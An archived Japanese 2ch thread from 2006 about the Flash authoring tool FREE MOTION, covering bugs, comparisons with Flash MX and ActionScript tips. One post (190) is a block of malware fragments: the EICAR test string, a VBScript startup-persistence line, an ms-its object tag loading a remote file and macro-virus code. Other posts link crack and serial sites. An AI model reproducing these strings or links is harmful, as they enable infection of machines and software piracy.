2012年3月FLASH62: Flash作成ソフト「FREE MOTION」について語るスレ (578) TOP カテ一覧 スレ一覧 2ch元 削除依頼
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Flash作成ソフト「FREE MOTION」について語るスレ


1 :06/03/18
ソースネクストで「IBMホームページビルダー10」のセットパックに付属
している。
売りは
「FREE MOTION」は、初心者に優しく扱いやすいインターフェイスにより、誰もが簡単にFlash制作をお楽しみいただけるソフトです。
●お気に入りのFlashをダウンロード「Flashインポート」機能
●Flashファイルを分析し、再編集できる「Flash解析」
●動画ファイルをFlashに簡単変換「動画からのFlash変換」機能
だ。
画面はMXそっくり

2 :06/03/18
へぇ

3 :06/03/18
スレ立て乙です
雑誌の広告見て興味持ったから買いましたが
初心者には説明書やヘルプを見ても難しいというかよくわかりません
でも作りたい!勉強したい!って事でこのスレが盛り上がるに期待してます

4 :06/03/18
>>1
ソース貼れよ

5 :06/03/18
関連スレ
http://pc8.2ch.net/test/read.cgi/swf/1083983888/l50

6 :06/03/18
>>3
FlashMXの基本操作覚えればイイかもしれない.....
あと関連URL
○ベクター紹介&購入ページ(体験版あり)
http://shop.vector.co.jp/service/catalogue/sr077044/?textad=wart
○販売会社から(メイン紹介)
http://www.ah-soft.com/fm/menu3.html
まぁ参考にしてくれ

7 :06/03/18
いま、体験版を>>6のURLからDLし、セットアップして起動したんだが、
FlashMXとFlashMakerをくっつけた感じ。
今研究中。

8 :06/03/18
やはり、もうFlashMX2004に慣れている俺はFREE MOTIONには
向いていないようだ。
Flashインポート機能が気に入ったのだが、制限付きFlashは読めない
それにうまく編集できないようだ。
体験版もFlashMakerと同じ感じで、使える日は20日間
swfにしたFlashアニメには FREE MOTION と点滅して表示される。
クリックすれば宣伝HPに突入。
●悪いところは 
・音質がイマイチ。
・速度もイマイチ
・パクリ感が高い
そんなところかな.?

9 :06/03/18
>FREE MOTIONの開発元であるnamo社では、
>以前「Flash Creator(フラクリ)」という製品を開発していました。
>弊社のFREE MOTIONとはシリーズが異なる製品ではありますが、
>開発元が同じ為プログラム的に一部共有している部分が存在しているようです。
フラクリの進化版ということ?

10 :06/03/18
体験版は30日と「ウォーターマーク」。

11 :06/03/18
>>9 そうかもしれない。
フラクリもFlashインポートできたよな?
開発社が、同じって言うことは、進化版だな
と思われ.....

12 :06/03/19
FlashMakerが窮屈になってきたのでFlash8を買う
もしFlash8が手に余るようならそれを中古屋にでも
売ってそれからFreeMotionを買うよ。

13 :06/03/19
http://www.ah-soft.com/fm/menu3.html
この値段で、AS書けてここまでのゲームが作れるのか
買ってみようかな

14 :06/03/19
>>12 Flash8を買ったら、ガンガッテ勉強したほうがイイよ
FlashMakerに慣れているなら Free Motion 買えば?
>>13 まずは体験版を使ってみた方がいいとおもわれ........
ASは完全か?

15 :06/03/19
Free Motionは総合的にパクリ商品だ。
低価格で実現できるのはこのおかげだな。
まさか、FlashMakerを改良した商品ではないだろうな?
FlashMXや、フラクリも逆コンパイルしてるかも........
(妄想w)
テラワロス キタ----------(・・)-----------!!

16 :06/03/19
>>15
SothinkのSothink SWF Quickerの日本語版。
フラクリも、FREE MOTIONも。
フラクリはSothink SWF Quicker 1.6、
FREE MOTIONはSothink SWF Quicker 2.0を日本語化。
>>14
FREE MOTIONはAS2.0対応

17 :06/03/19
>>16だが販売会社は違うんだろ?

18 :06/03/19
>>17
そう。違いはそれだけ。

19 :06/03/19
そうなんだ。
で、>>18は、Flash作成ソフト持っていますか?

20 :06/03/20
>>19
フラクリとMX持ってる。
>>16>>18はうち。

21 :06/03/20
致命的な欠点はステージを軸とした整列が出来ないこと。
もしやろうとするなら無色透明ステージと同サイズなオブジェを置くぐらいしか
手がない。
これさえ良ければ低価格FLASH制作ソフトとしてはかなりいいものとなっていたはず。

22 :06/03/21
乗り換え版の意味がワカンネ。
フラクリやMX持ってる奴が乗り換え版買うと
以前持ってた方は使えなくなるのか?
それとも、併用できるのかね?

23 :06/03/21
>>22
体験版では無理矢理併用可能だけど、製品版はどうかワカンネ

24 :06/03/21
体験版入れた。
>>21と同じく、ステージを軸とした整列ができないのは残念。
それと、思っていた通り、線とかは勝手にシンボル化される。

25 :06/03/21
フラクリから乗換えで買ったんだが、一緒には入れられなかった。
まあフラクリの機能は使えるらしいから問題はないんだが。
↑のことで問い合わせしてみたんだけど、サポセンがかんじよかったな。
ライブドアは正直アレだったからな。

26 :06/03/21
インストールの際、「FreeMotion インストールできません。既にインストールされたバージョンをアンインストールした後でもう一度お試しください」というメッセージが表示されてインストールできません。
FREE MOTIONの開発元であるnamo社では、以前「Flash Creator(フラクリ)」という製品を開発していました。
弊社のFREE MOTIONとはシリーズが異なる製品ではありますが、開発元が同じ為プログラム的に一部共有している部分が存在しているようです。
もし「Flash Creator(フラクリ)」がインストールされている場合は、一度アンインストールをして頂き、再度FREE MOTIONのインストールをお試しください。

27 :06/03/21
フリモたん萌え

28 :06/03/21
体験版使ってみた。
Flash8と比較したら、本家と違って、
多少劣る所あるけど値段以上の物はあるね。

29 :06/03/22
体験版使ってるんだけど何か強制終了しまくる。
シーンを増やしてからこうなったんだけど同じ状況の人居ない?
フラッシュメーカー3入れてるんだけどこれと関係ある?

30 :06/03/22
今度は「レイヤーの表示なんたらで重大なエラーが発生しました」だってさ。
体験版だからこんなことになるの?

31 :06/03/22
mpg2を読み込ませようとしたら強制終了。
「出来ません、お許しを」みたいなコメントを期待してたのだが。

32 :06/03/22
まぁそんな感じになっちゃうんだね
>>20返事ありがと
俺は、MX2004とFlashMakerもってる

33 :06/03/23
フレームラベルに日本語を使ってそれ指定して
ジャンプしようとすると勝手にIEが開くんだけど・・・・・・?
英語にすると上手く機能するんだが、どないなっとんねん。

34 :06/03/23
黒フリモ萌え

35 :06/03/23
>>33
やはり元々アメリカの会社が作ったソフトを日本語化したから
そこまで細かいところの修正は行っていないだろ
だって、6000円程度だよ
MXなんか 10万するのに.......

36 :06/03/23
>>29
どうやら複数ページで構成されたFlash MakerのFlashファイルを読み込むと
駄目らしい、そうでなくても読み込んだら画像が汚くなるし見るに耐えん。
やはり2.5万出してでもFlash8Basicを買おうかな。

37 :06/03/23
お前ら安い安い言ってんならParaFla使えよ

38 :06/03/23
気のせいかもしらんが
MXの体験版よりも機能が少ないおかげか、動作軽い。

39 :06/03/23
>>37
ParaFlaは、ベクターデータが扱えない上に
使いにくい
>>38
MXはもともと重い。
異常に性能がいいから...
MXはペイントツールとしても使える
アニメ作りにも
広告つくりにも
プレゼン作りにも
書類(Woldやエクセルと違って自由度が高い)
などなど異常に性能がいい。
どうせ買うなら FlashMXをオススメする。
MX2004か、STUDIO8/8BASIC を純正で買った方が
総合的に有利だと思う。
やはり、常に最新版で使いたいのであれば 、MXだな。
●UP制(MX)---------------------------------------------
Macromediaが作成 -> アップデータリリース -> プログラムへ
●UP制(その他 MX以外製品)-------------------------------
Macromediaが作成 -> 作成ソフトが許可を取る -> データをもらう
-> HPにて公開 ->きずいたらDL ->プログラムへ
という 感じとなる。
やはりMX重視だな

40 :06/03/23
>>39
横槍スマンがParaFlaはベクター使えるようになったよ
専用のベクターツールで描かなきゃならんから
向き不向きもあるようだけど

41 :06/03/23
>>40
最新情報ありがとw
そうなんですか〜
ベクター対応ね!
フリーなのに凄いね!

42 :06/03/23
なんか気に障ったなら謝る

43 :06/03/23
paraflaにタイムラインバーが付いたら考える

44 :06/03/23
>>43に同感

45 :06/03/23
>>43
たぶん付かないと思う。そうCoaさんが言ってた。

46 :06/03/24
フリーと有料の差は6000円ぐらい?

47 :06/03/25
>>46 そんな感じかな?

48 :06/03/25
製品版を登録すると…
アップデータのダウンロード
FREE MOTION 素材集
件名 FREE MOTION 素材集
対象製品 FREE MOTION
バージョン SOZAI
更新日 2006年3月3日
ファイル情報 freemotion_sozai.EXE(108.5MB)
前バージョンからの変更点

49 :06/03/25
これって本当にSWFのScriptの中身まで分かるのでしょうか?
(逆コンパイルOK?)
製品HPには
「Flash(*.SWF)からの再編集にも対応!フレーム情報やレイヤー
情報などを解析して、手軽にFlashを勉強しよう!」
などと書いてありますが、著作権か何かに引っ掛からないので
しょうか?

50 :06/03/25
ttp://carrara.eek.jp/com/html/modules/newbb/viewtopic.php?viewmode=thread&order=ASC&topic_id=200&forum=7
の情報が参考になると思うよ。

51 :06/03/25
>>50
さんきゅうです。結局スクリプトの編集も可能なのですね。

52 :06/03/25
>>49
俺もコンパイルやってみたけど
編集には、難しいし、ちゃんと読み込まれていない。

53 :06/03/25
安いからDL版(5480円)を購入したけど、マニュアルを印刷する手間・コストを考えたら失敗かもしれない。

54 :06/03/25
>>53 ドンマイ

55 :06/03/25
あと、swfの出力設定できたっけ?
MXだったら、FlashPlayer 7とか6とか5とか選べるけど..

56 :06/03/25
>>55の追加で
Free Motion

57 :06/03/26
各ツールへのショートカットキーが無いのが激しくイライラする。

58 :06/03/28
店頭で売ってるの見て興味持ったんで
体験版やってみたけど解析機能なかなかいいな
つーか俺が知らなかっただけで前からこういうソフトがあったのね

59 :06/03/29
たまにACの記述がおかしくなる時あるんだが。
文字とかスペース入れようとしてもそれよりも後ろの
文字列が全くずれなくなって、一文字入れると一文字消えるようになる。
バグですか?

60 :06/03/29
>>59
インサートキー押してないか?

61 :06/03/29
>>59
あなたのバグです

62 :06/03/30
使いにくい......
買うのやめた

63 :06/03/30
質問
フラメ3とフリモ、買うたしたらどちら選ぶべき??

64 :06/03/30
>>63
とりあえず体験版。
「変数」以外はヘルプを見なくても行けそうなのはフラメ。
使えるかどうかは別にして素材も入ってる。
一応、解説本も出てる。
他人のフラッシュを覗き見したい・本家の「雰囲気」を味わいたいならフリモ。
素材はユーザー登録してDL。フラメのように組み込まれるわけではないみたい。
と、適当なことを書き並べるの巻。

65 :06/03/30
追記
http://pc8.2ch.net/test/read.cgi/swf/1119167378/

66 :06/03/31
>>64
まぁフラクリスレにフラクリ(>>16にも書いてあるがフリモとフラクリは発売元が違うだけ)製のすごいFlashがあったけどな。
まともなFlashを安く作るならフリモかも。

67 :06/03/32
フリモをアンストしますた

68 :06/04/05
>>67
なぜに??

69 :06/04/06
ライブラリの並び順って手動で代えられないのかよ

70 :06/04/07
ちょっと体験版使ってみたら解析するのがかなり使えた。
テンプレートのサイトからひろってきて読み込ませて、
自分なりに味付け。パクリにならないようにしなきゃだけど
結構自分の勉強になった。
MX持ってるけど、使いこなせてないのでこっちにしてみる。
週末買ってこよう。
あ、これ動画>Flash変換はできるけど逆はだめだよね?

71 :06/04/07
>>70
swf=>sqfもsqf=>swfも普通にできる。
体験版だと出力されたswfの左上に文字が出てくる。対策法あるけど。
あと体験版で作ったswfは規約で公開禁止になってる。製品版は普通にOK。
>>69
ドラッグして変えられない?

72 :06/04/07
フリモの体験版を試用中。
フラメになれすぎて何もできない。
モーショントゥイーンで座標を移動させるのはできたけど、
もしかして移動スピードって一定にしかできない??
(ゆっくりスタートしてしだいに加速とかはムリ?)

73 :06/04/07
>>72
自分で段階的にトゥイーンさせて速度を変えるか、
ActionScriptを使う。

74 :06/04/07
うわ、ASわかりません・・・
ガイドラインでどうにかするとかもムリでしょうか?

75 :06/04/08
画像の拡大率って常に50%で固定するとかできないの?
新しいムービークリップ開くたびに設定し直すのメンドくさすぎ!ヽ(`Д´)ノ

76 :06/04/09
ttp://www.bnn.co.jp/books/archives/2006/03/flashmaker_moti.html
フラメの本のサンプルを取り込んで再生しても、サンプル通りにならなかった。

77 :06/04/10
>>68 期限切れだ。

78 :06/04/12
SWFキャッチャーでキャプチャしようとしてもファイル名の横のアイコンが
地球のマークで、上書き保存しようとすると「要求された項目は見つかりませんでした」
ってなってキャプチャできないFlashがあるのは何?

79 :06/04/12
「ヘルプ」-「ムービーを読み込む」-「ムービーのキャプチャ」-「ムービーのキャプチャ」を読んでも解決できない?
対象のブツが何なのか教えてくれれば、試してみるけど。

80 :06/04/12
社長の名前ググッたらもろライブドアの人間じゃねーか

81 :06/04/12
>>80
ワロスwww

82 :06/04/12
>>80
そうだよね。そして会社が立ち上がったタイミングがまた絶妙というか。

83 :06/04/13
>>79
レスサンクス。
いや、ちょっと対象のブツはアレなんで、すんまそ。
そのヘルプはね、読んでいたんだけど
「インターネットから直接キャプチャされたファイルで
ブラウザのキャッシュにはまだ保存されていません。」
って書いてあるよね?
ブラウザのキャッシュに保存する方法とか、解決法が載ってない。
むう・・

84 :06/04/15
まあ一応>>21の欠点はサポートに送っといたよ。

85 :06/04/15
フレームが一定間隔で進まない・・・
fps=30に設定しているんだけど、実際にswfとして再生するとfps=9くらいで再生されて、
音楽とズレまくりなんだけど、これって対処法なかったりする?

86 :06/04/15
>>85
ストリーム再生
あとPCのスペックアップ

87 :06/04/15
>>86
dクス(´・ω・`)
フリモは初心者(というか、今作を製作中)なもので、助かりました。

88 :06/04/16
サウンドをストリーム再生に設定するとなぜか必ず強制終了するようになるorz

89 :06/04/18
これってシェイプトゥイーンはできないみたいですね

90 :06/04/18
これダメじゃん、まともに絵を描こうと思ったらシンボルだらけになる。
というより絵をほとんど描けない。
鉛筆ツールを使っても一筆書きでないとひとつのシンボルにならないし・・・・
塗りも設定できない。

91 :06/04/18
http://iiaccess.net/upload/view.php/000297.swf
これの他に作例ない?

92 :06/04/19
>>91
フラクリスレで「ttp://」で検索してみれ

93 :06/04/22
動画を読み込んで保存する前はちゃんと音が出てたのに
そのファイルを開いてプレビューしたりswfに書き出したら
音が消えていた・・・何故??

94 :06/04/22
本家でも動画エンコは完全に出来る物ではないのに、
この価格で完全を求めるのか?

95 :06/04/22
>>93
仕様です

96 :06/04/23
フリモでFLASH完成www。
でもロード画面の付け方がわかんねぇ・・・・・orz

97 :06/04/23
>>96
新しくシーンを作って一番上にずらして、
ttp://hakuhin.hp.infoseek.co.jp/main/as/load.html
このページを参考にASを組む。

98 :06/04/23
それ俺もレスする前にやったんだけど、
確かにスクリプトテストやると問題は見つかりませんでしたって出たけど、
プレビュー時何も再生されなくなったorz

99 :06/04/24
>>98
//これでどうだ
onClipEvent (load) {
_root.stop();
per = 0;
}
onClipEvent (enterFrame) {
per = Math.floor(_root.getBytesLoaded()/_root.getBytesTotal()*100);
barMC._xscale = per; //「barMC」を適切なものに変えるべし
if (per == 100) {
_root.play();
}
}


100 :06/04/25
こんなに人をイライラさせるソフトは初めてだ!
イラつく! イラつく!!
俺をイライラさせるな!!

101 :06/04/25
http://www.ah-soft.com/images/products/freemotion/samples/calculator.swf
http://www.ah-soft.com/images/products/freemotion/samples/chouhan.swf
http://www.ah-soft.com/images/products/freemotion/samples/menu01.swf
http://www.ah-soft.com/images/products/freemotion/samples/cursor/floating.swf
http://www.ah-soft.com/images/products/freemotion/samples/etc/green.swf
これ再生できる?

102 :06/04/25
ごめん、誤爆した

103 :06/04/25
>>99
トンクス。
おかげで、ロード画面ができました。
お礼といってはなんですが、>>91に対しての作例も兼ねて、完成したFLASH貼らせていただきます。
http://www.valley.ne.jp/~hor/flashnumber10.htm

104 :06/04/25
>>103
未だに、フリモが何だか分からないけど(購入済み)楽しませてもらいました。

105 :06/04/26
>>103
ロード画面にバーをつけたり
「Start」のHitフレームにその文全体に被る四角をつけたほうがいいかも。
ボタンのHitフレームはそのボタンのマウスオーバー反応範囲を表すものだからね。

106 :06/04/27
今買おうか悩んでるんだけど
店頭製品版とホムペビルルダー10プレミアムvup板の値段が同じ位なんで
フリモ以外にも素材集着いてくるビルダーの方を買おうかと思うんだけど
これって旧ビルダーもってないとフリモもインストできないの?

107 :06/04/27
大丈夫。インストールはべっこだから

108 :06/04/27
>>107
レス早!
さそっく注文しまあす
サンクスです

109 :06/04/27
あーでも。そんなにFreeMotionは良ソフトじゃないから。
体験版は使ったよな?
あとFlash8の体験版も使ったよな?買うのはそれからでもいいぞ。

110 :06/04/27
ttp://www.sourcenext.com/cp/s/0604/27_builder10_pre.html

111 :06/04/30
まあフラメよりはフリモのほうがよいだろ。

112 :06/04/30
まあフラクリよりもフリモのほうがよいだろう。

113 :06/05/01
フリモももう少しアップデートするのを待った方がいいかもしれない。
現在のバージョンはとにかくすぐに落ちる。
俺はフリモユーザーだが、起動した直後にプレビュー押したら落ちた。
あとムービークリップ内で何らかのエフェクトを使用しているムービークリップは、
ライブラリ上で選択するだけで強制終了したorz

114 :06/05/06
DL版のフラメが6500円くらいになってる。

115 :06/05/07
フリモを意識してなのか!?
出来る幅を考えたらフリモがいいんかね

116 :06/05/07
フリモDL版は一応6000切るんだよね?

117 :06/05/07
今は 5,480円
この前は 5,980円だった気がする。
その前は 5,480円だった気がする。

118 :06/05/07
5.480円なら確実にフリモ選ぶな
つかもうビルダーとの抱き合わせ注文したんだけどね

119 :06/05/07
フラメは初期の廉価版で3000円台のがあるから下がらないだろう
あとPC買った時にそれがインストされてることもあるくらいのネームバリューはあるし
完全ストリーミングとかも求めて本格的に作るなら本家、
お手軽初心者向けならフラメ、無料でも作りこむならparafla
フリモがどこのユーザ層を狙うかでそ

120 :06/05/07
既存FLASHの解析&改造用。

121 :06/05/07
フラクリ系でFlashをマジメに作ってる俺は異端
ただMXより使いやすいという理由だけで

122 :06/05/07
体験版落としたけど、体験版で作った作品をWEBにのせることは禁止してるのな・・・イラ

123 :06/05/08
>>122
なのに作品にフリモのページに飛ぶマーク?付くんでしょ?

124 :06/05/08
フラクリスレで、「ウォーターマーク」で検索して出てくる方法はフリモではどうなのかな?
製品版が入ってるから試しようが無い。
別のPCで試すほどのことでもない。

125 :06/05/08
絵描いたらシンボルだらけ
塗りつぶしツール使えない
消しゴムツールない
\(^O^)/オワタ
通常版もそう?

126 :06/05/08
ageてもうたすまん

127 :06/05/08
>>120に同感。
俺は体験版終了したが、MXあるので、購入するのやめた。

128 :06/05/09
>>125
変わらん
お絵かきツールとしては使えない
造形は四角形置いてダイレクト選択で変形させるという方法がオススメ

129 :06/05/09
>>120が言う用途にしか使えないみたいだから本家のSothink SWF Quicker 2.2を割れました

130 :06/05/09
ウインドウの表示倍率を0,5倍に固定とかできないの?
新しいムービー開くたびに右上の倍率ボタンクリックしなくちゃなくて
ムチギレそうなんだけど( ゚∀゚)

131 :06/05/09
>>130
よう俺
どうにもできない

132 :06/05/11
いつの間にやらアップデート来てるな。
とおもったらどうでもいい修正ばっか、さっさとステージを軸とした整列を実装しろ。

133 :06/05/12
>>132
むしろそういう関連はSothinkに出さないとダメかもよ

134 :06/05/12
>>132
次期バージョンで実装します。
もちろんSothink板の事 なので日本では新商品どして発売されます
多分な。多分......

135 :06/05/13
ねえねえ
下のページにある
他社製品って何?
L社って、フラクリ?
M社、I社っなんだろ
ttp://shop.vector.co.jp/service/catalogue/sr077044/menu0.php#menu0_2

136 :06/05/13
その比較は何の参考にもならんよ

137 :06/05/13
M社は本家
I社はフラメのことを指しているかと思われ
つーか、フリモの公式ページが消滅しているんだが、それは俺だけなのか?
おかげでアップデートできないし・・・

138 :06/05/14
バージョン8は読み込めないんだね・・・

139 :06/05/14
フラクリは無理矢理読み込んでくれたのにね

140 :06/05/14
>>137
ほんとだな、だが只のメンテだろ。
なんだったらアップデートあげてやるが。

141 :06/05/15
>>140
くれくれ君みたいで申しわけないがお願いします。

142 :06/05/15
公式サイト復活してるよ

143 :06/05/16
FREE MOTIONって名前から無料かと思ったら有料かよ

144 :06/05/21
Patch Ver.02が出てる。当てなくてもよさげだが。

145 :06/05/26
マクロメディア製の3.4しか使った事ないんですが
同じような感覚でフリモは使えますか?

146 :06/05/28


147 :06/06/03
マクロメディア製の3.4て?

148 :06/06/03
8に対応してなかったりフラクリでは出なかったエラー出まくったりで最悪ですな

149 :06/06/04
キーフレームとは何ですか?フレームとどこが違うのですか?
モーショントゥイーンの作成のところの58ページがよくわかりません
どなたか教えていただければありがたいです

150 :06/06/04
>>149
………。キーフレームは名前の通り、キー(転機となる)フレーム。
同じ絵を10秒間表示させたかったら、一コマ目はキーフレームで、10秒後まで
全部「フレーム」。だけど、パラパラ漫画みたいにしたかったら、全部キーフレーム
にして、全部違う絵を描かなくてはいけない。中学生かお前w

151 :06/06/04
いや、正直俺もフラメからフリモに乗り換えた時は
キーフレームなんて知らん単語にぶちあたって
えらい苦労した覚えがある
>>149は初心者か元フラメユーザーでは?

152 :06/06/04
>150
ありがとうございます
キーフレームを挿入したら59の回転というのはできるようになりました
しかしまだ移動アニメーションP58というのがわかりません
なんで右にスムースに移動するようになるのかがわかりません
>150
まったくの初心者です
おっしゃるとおり言葉の意味がわかりません
たとえばシーンとシンボル、モーションクリップの違いなどが
まだ
朧です

153 :06/06/05
修正です
>150
ありがとうございます
キーフレームを挿入したら59の回転というのはできるようになりました
しかしまだ移動アニメーションP58というのがわかりません
なんで右にスムースに移動するようになるのかがわかりません
>150
まったくの初心者です
おっしゃるとおり言葉の意味がわかりません
たとえばシーンとシンボル、モーションクリップの違いなどが
まだ
朧です

154 :06/06/05
修正です
>150
ありがとうございます
キーフレームを挿入したら59の回転というのはできるようになりました
しかしまだ移動アニメーションP58というのがわかりません
なんで右にスムースに移動するようになるのかがわかりません
>151
まったくの初心者です
おっしゃるとおり言葉の意味がわかりません
たとえばシーンとシンボル、モーションクリップの違いなどが
まだ
朧です

155 :06/06/05
何とかp62まできました
ここまでは同じ作業でもできるときとできないときがあり
不思議です
p62
の拡大拡少はなぜかスムーズに拡大拡少しません
不思議です

156 :06/06/06
チュートリアルで指定された通りのものすらまともにうごかん、どうなっとるんだこのソフトは

157 :06/06/07
>>155
ヒント: フレームレート 実力
>>156
チュートリアルのをやるよりMXの説明サイトを参考にやったほうがいい気がする

158 :06/06/07
今日買ってきた。みんなよろしく!

159 :06/06/09
やっと最終ページまでざっとですが、やり終えました
感想ですが
1 マニュアルにはごく基本的なことしか書いてない
2 エフェクト効果は役に立ちそう
3 SWF CATCHERはかなり将来的に役に立ちそう
4 アクションスクリプトというのがイメージをつかめなかった
  
かな  

160 :06/06/09
やっと最終ページまでざっとですが、やり終えました
感想ですが
1 マニュアルにはごく基本的なことしか書いてない
2 エフェクト効果は役に立ちそう
3 SWF CATCHERはかなり将来的に役に立ちそう
4 アクションスクリプトというのがイメージをつかめなかった
5 同じ作業をしてもうまくいくときといかないときがある?
  
かな  

161 :06/06/10
ずぶの素人がホームページビルダーのおまけとして付いてきたので使ってみたものの
本当に使い方がわからない・・・
っていうかあのユーザーズガイドもチュートリアルも何の意味も無いような気が…
なんかお勧めの本とかありませんか?買って勉強したいので教えてください

162 :06/06/10
     超話題、スプーと八頭身のコラボフラッシュ
             r'゚'=、       ∧_∧
               / ̄`''''"'x、   ( ´∀`)
          ,-=''"`i, ,x'''''''v'" ̄`x,__,,,_
      __,,/    i!        i, ̄\ ` 、
  __x-='"    |   /ヽ      /・l, l,   \ ヽ
 /(        1  i・ ノ       く、ノ |((( ))) i,
 | i,        {,      ニ  ,    .|(; ´Д`) i,
 .l,  i,        }   人   ノヽ   |    {   {
  },  '、       T`'''i,  `ー"  \__,/     .}   |
  .} , .,'、       },  `ー--ー'''" /       }   i,
  | ,i_,iJ        `x,    _,,.x="       .|   ,}
  `"            `ー'"          iiJi_,ノ
http://www.geocities.jp/tomoro0206/supuu3.html

163 :06/06/10
>>161
公式のMXをいじってからやると大分楽

164 :06/06/11
>>163
体験版を触ってみることにします。ありがとうございました

165 :06/06/12
このスレってフリモでのアクションスクリプトについての質問もおk?

166 :06/06/14
こんな過疎スレで聞いても意味内

167 :06/06/14
久しぶり。
>>165 答えてくれる人がいればいいんじゃない?

168 :06/06/15
じゃあ一応。
ある変数が一定値を取る時のみあるレイヤーを無効化するってコトは可能?

169 :06/06/15
フリモは使ってないけど、ASからレイヤーは制御できなかったと思う。

170 :06/06/16
そうですか・・・・・
ありがとうございました

171 :06/06/16
>>168
レイヤーはFlash化の再に深度に変化して消えるから無理。
ムービークリップにまとめて_visibleやらをいじれば可能。

172 :06/06/19
わかりました。
まあちょっと画質だけでなく、音質も閲覧側が操作できるようにしようと思っただけですので。
お答えいただき、ありがとうございました

173 :06/07/09
保守

174 :06/07/11
age

175 :06/07/19
age
この過疎っっぷりは、フリモの現状・未来を現しているのか。

176 :06/07/20
正直フリモ買ってない

177 :06/07/20
おれも買ってない。SWF Quicker割れた

178 :06/07/22
次のバージョンアップで何かswfファイルの容量が小さくなる措置してくれないかなぁ

179 :06/08/01
さっき体験版を使ったんだけど、これ座標0,0がドキュメントの中心に
なってない?
できればドキュメントの左上を座標0,0がいいんだけど変更とかできるかな?

180 :06/08/02
体験版でhttp://www.tankmania.com/これ弄ってんだけど、
照準のサイズ変更まではできたけど、
チャット画面に進むと名前が見えなくなってゲームができない。
うまくデコンパイルできてないのかな?

181 :06/08/02
>>180
よくある

182 :06/08/02
よくあるのか…。体験版でデコンパイル機能のよいものって他にあるかな?

183 :06/08/02
>>182
スレ違いだけどAS弄るだけならflasm使え

184 :06/08/10
http://page.auctions.yahoo.co.jp/jp/auction/92512487

185 :06/08/13
FlashCreator持ってるけど、こっち買う価値あり?
主な用途は解析して書き出すだけなんだけど

186 :06/08/14
>>185
体験版

187 :06/08/19
http://www.apple.com/jp/macosx/features/pdf/
ところでお前ら、これをどう思う?

188 :06/08/20
>>187
またぱくられたのかw OS X

189 :06/09/01
>>187
林檎信者ではないMacユーザーとして言わせてもらう。
OS X付属のPDF関連昨日は、糞。

190 :06/09/02
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
Application.OnSheetActivate = "check_files"
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

191 :06/09/03
フリモのダウンロード版ってvector経由しかないのかな?

192 :06/09/05
>>191
Sothinkの SWF Quickerじゃ納得出来ないってか?倉もwebで拾えるぞ
http://www.easycracks.net/s23.html

193 :06/09/05
>>192
いや割れるつもりじゃないとあれほど‥w

194 :06/09/07
>>192
やり方詳しく教えてくれい

195 :06/09/10
ワレズゲット

196 :06/09/10
http://www.serialz.to/

197 :06/09/17
AS2は部分的なサポートなのね。

198 :06/09/18
fLASH8に対応して欲しい

199 :06/09/21
HPのせてもページがありませんみたな 再生されないんだけど・・

200 :06/09/21
今体験版ダウンロードしてみたけど扱いにくいな。
8になれてる俺には無理ポ
swf解析も微妙・・・。
消しゴムツールぐらいつければいいのに。

201 :06/09/21
なんかさ、このページだけ表示させると、ウイルスプロテクターgからのメッセージで、
圧縮されたウイルスファイルが見つかったので、遮断しましたってメッセージが出るよ。

202 :06/09/30
ぬるぽ

203 :06/10/01
今日本屋にFREE MOTIONの本があった。
チョイワラタ

204 :06/10/01
登録ユーザーだけど、メーカーから連絡があった>>書籍の発売
でも山菜じゃねぇ...

205 :06/10/01
【発売日】:2006年9月29日(金)
      (先行優待販売では発売日前の到着を予定しております。)
Flash8以降に対応して欲しい。

206 :06/10/01
とあるHPのFlashを保存したくて購入したけど保存できてないぽい。
「Flash8以降に対応してません」のせいだろうか。
これ以外ので保存ができるソフトってないですか?

207 :06/10/02
>>206
ブラウザのキャッシュに残ってんだろ
フリーでもキャッシュ漁って保存出来るソフトが山ほどあるぞ
ページのソースみてswf直リンでDLも出来るだろ

208 :06/10/06
>>206
ダウンローダー雨とか
「設定」-「抽出オプション」-「抽出ファイル」-「埋め込みFLASH/動画/音楽」
拡張子メニュー「その他」をチェックし「.swf」を登録する。

209 :06/10/12
206です。
>>207-208レスどうも。「ダウンローダー雨」でも上手くいかなかったです。
「FLASHMANIA」である程度は残せたんだけども保存できないのもあるんです。
例えばこれ↓なんですが、枠?しか残らないんです。
ttp://stream.infoseek.co.jp.edgesuite.net/happy/treasure/takara_a8.html
元々はこのHPなんですけど、ここのも残せるのと残せなかったFlashがあります。
どうしたら保存できるでしょう?
ttp://stream.infoseek.co.jp.edgesuite.net/happy/index.html?from.h

210 :06/10/12
>>209
http://stream.infoseek.co.jp.edgesuite.net/happy/treasure/takara_a8.flv
これ保存してflvプレイヤーで再生

211 :06/10/12
>>209
暇だからaviに変換した
http://uploader.erv.jp/src/erv_jp1045.avi

212 :06/10/12
>>209
スクリプトを見ると、本体が別の処からムービーを読み込んでいるので、
本体しかセーブできません。
↓最初の部分
// Action script...
// [Action in Frame 1]
CID = "jp_toyota-jp_0";
flashaction = "tokimeki.08.jitsugi.otakara";
loadMovieNum("http://server-jp.imrworldwide.com/cgi-bin/count?cid=" + CID + "&url=" + flashaction + "&rnd=" + Math.ceil(Math.random() * 100000000), 100);
trace (flashaction);
// [Action in Frame 2]
function loadOp(opName)
{
trailer_ns.play(opName);
} // End of the function
function videoUnLoad()
{
wBase_mc.gotoAndPlay(2);
} // End of the function
function screenClear()
{
............................

213 :06/10/13
206です。
>>210-212レスどうも。
>>210ので保存、再生できました。>>211のは見つからなかったですorz
それから>>207のいってたキャッシュを探してみたら他にもflvで残ってた
動画がいくつかあったので一つ一つ手で保存しました。
キャッシュを漁って保存できるソフトは持ってないのでこれからのために探してきます。
>>207-208>>210-212、お世話になりました。

214 :06/10/20
FreeMotionで携帯(W33SA)で再生できるフラッシュつくれますか??

215 :06/10/22
フリモって音質どうかならないの?
かなり予想外なんだけど・・・orz

216 :06/10/30
>>215
パブリッシュ設定で変えれるでしょ。
本家もそうだがプレビューする時間を短縮する為に
デフォルトで音質は最低品質になっている。

217 :06/10/30
(´;ω;`)

218 :06/11/25
FREE MOTIONでケータイ用Flashを作りたいのだが、どうすればいいですか?

219 :06/12/13
このスレを、盛り上げよう

220 :06/12/13
